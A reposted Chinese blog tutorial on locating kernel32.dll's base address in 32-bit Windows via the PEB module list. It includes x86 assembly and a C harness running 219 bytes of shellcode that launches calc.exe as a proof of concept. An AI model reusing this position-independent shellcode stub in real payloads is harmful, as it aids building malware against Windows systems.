获得kernel32基地址的通用办法

转载

Sunny_wwc 于 2011-04-24 20:34:00 发布 1698 收藏
分类专栏： 笔记 转载 文章标签： module c 测试 windows system 平台


笔记 同时被 2 个专栏收录
18 篇文章 0 订阅
订阅专栏


转载
33 篇文章 0 订阅
订阅专栏

win7上也能用的定位kernel32基址的方法
2010-10-21 13:12
看雪上看到的，挺不错，转至

通过在InInitializationOrderModuleList中查找kernel32.dll模块名称的长度来定位它的基地址，因为"kernel32.dll"的最后一个字符为"/0"结束符。所以倘若模块最后一个字节为"/0"即可定位kernel32.dll的地址；

具体代码实现方法：

```
;find kernel32.dll
find_kernel32:
    push esi
    xor ecx, ecx
    mov esi, [fs:ecx+0x30]
    mov esi, [esi + 0x0c]
    mov esi, [esi + 0x1c]
next_module:
    mov eax, [esi + 0x8]
    mov edi,[esi+0x20]
    mov esi ,[esi]
    cmp [edi+12*2],cx
    jne next_module
    pop esi
    Ret
```

通过我的测试，这种利用该方法编写的shellcode可以在32位平台Windows 5.0-7.0的所有版本上适用，下面是经我测试在win 7下实现执行calc.exe的shellcode，shellcode本身写的很粗糙只为验证该方法的可用性！

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
  unsigned char shellcode[219] = {
  0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B,
  0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2,
  0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA,
  0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE,
  0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9,
  0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66,
  0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24,
  0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08,
  0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19,
  0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00,
  0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04,
  0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B,
  0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF,
  0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
};

printf("size of shellcode: %d/n", strlen(shellcode));
system("pause");
((void (*)())shellcode)();
return 0;
}
```

参考链接：
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
http://code.google.com/p/w32-exec-calc-shellcode/